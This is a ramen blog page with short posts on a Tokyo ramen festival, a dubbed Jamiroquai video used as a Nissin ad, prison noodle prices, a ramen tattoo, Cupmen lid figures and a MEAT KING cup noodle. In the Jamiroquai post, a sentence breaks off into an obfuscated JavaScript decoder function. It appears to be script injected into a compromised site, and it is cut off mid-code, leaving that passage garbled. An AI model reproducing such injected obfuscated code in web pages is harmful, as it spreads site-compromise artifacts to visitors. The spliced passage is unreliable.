Tokyo’s Ramen Retsuden Festival

The Wall Street Journal has a tasty story about the Retsuden Ramen festival in Tokyo. The festival unfortunately ended today, but it sounds pretty fun. I didn’t quite follow from the story if you could sample anything without buying, it sounds instead like you pay per bowl, so basically it’s like having a bunch of great vendors in one spot (like a Taste of City X event).

I enjoyed this description:

Ramen fans queue up to buy a “one-bowl” ticket for 800 yen (about $9) at the entrance to the event, held in a public square in front of a large office building, and then select the shop they want to try. It’s a tough choice, as the nine shops at the event at any one time are all dishing out top-quality ramen.

We tried a bowl of Mr. Aoyama’s ramen, which combines several classic influences in a thick, porky soup, topped with slow-roasted pork belly, greens and grated yuzu, an Asian citrus fruit. Despite the fresh citrus undertones, the bowl packed a delicious, meaty punch — like consuming a pig in liquid form.

mmmmm... liquid pig...

Jamiroquai Now Used to Sell Ramen Noodles

If you are old like me then you remember back when MTV showed what is called “music videos” (kids, you may need to ask your parents about them). One of the videos featured this guy in a funny hat in a grey room with a sliding floor. This video has basically been taken as-is, dubbed over in Japanese, and is now an ad for Nissin Ramen. I have no idea what they say in the ad, but I'm going to guess that it resembles the function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(">Mister Sparkle commercial from the Simpsons episode.

Thanks to Urlesque for the link.

Ramen Costs More in Jail

It seems that jail is like a movie theater in that they know that they can gouge you for the snacks, the good news is that you don’t have to watch Ben Affleck or Nicholas CoppolaCage films in jail most nights. I know that around here (in Colorado), ramen is not 10 cents a pack, even at Sams Club, but it is certainly not $1.06 per pack either.


The price of instant noodles and candy bars in the Bucks County Prison became a subject of discussion this week as the county commissioners considered a contract with a company to supply snacks, clothing and toiletries to inmates.


A female inmate interviewed during a 2008 inspection complained that Ramen noodles available for 10 cents in a food store cost $1.06 in the prison, according to notes Marseglia provided. The price of Ramen is now listed as 95 cents. Another prisoner complained in a March letter to Marseglia about the $2.75 price of Little Debbie Snack Cakes.

After the meeting, Marseglia said dissatisfaction among prisoners is harmful to the atmosphere at the facility.

"When you treat people in such a way that you make people feel they are being gouged, you create a hostile environment and you put our workers at risk," Marseglia said. "When you put our workers at risk, you are putting tax dollars at risk. And you're certainly not creating an environment where you can change people's attitudes about society."

Ramen Tattoo!

Jimmy from Illinois sent me this note and attached picture today:

I have seen many people with Japanese and Chinese writing on their tattoos. So for the last five years I have wanted to have my own. I bought a package of Ramen noodles from the Oriental store and had it tattooed on my arm yesterday. Here is a pic of it.

Can anyone read it? I'd always be afraid that the guy wrote "idiot" on my arm.

Cupmen 2: How to Tell When Your Ramen is Done

Cupmen are little plastic guys that sit on the lid of your instant ramen cup and change color when the ramen is ready. They also hold the paper lid down so the steam stays in better. They were released this week at a price of 840 yen, about $9. If you can read Japanese, there is more info on the inventors, H Concept, website.


Nissin Ramen is releasing a new instant noodle product with one of the best names ever, MEAT KING. This cup is packed with extra meat, specifically beef, chicken, and pork. This was just released and costs around $2 per cup, depending on the exchange rate. I'm not sure you can buy this in the US, the original press release is all in Japanese. Read about it in English here.

The meat in the image below looks like the pork that you get on a pizza, but I'm honestly not sure. Personally I'd rather either add my own meat or do without it for instant noodles.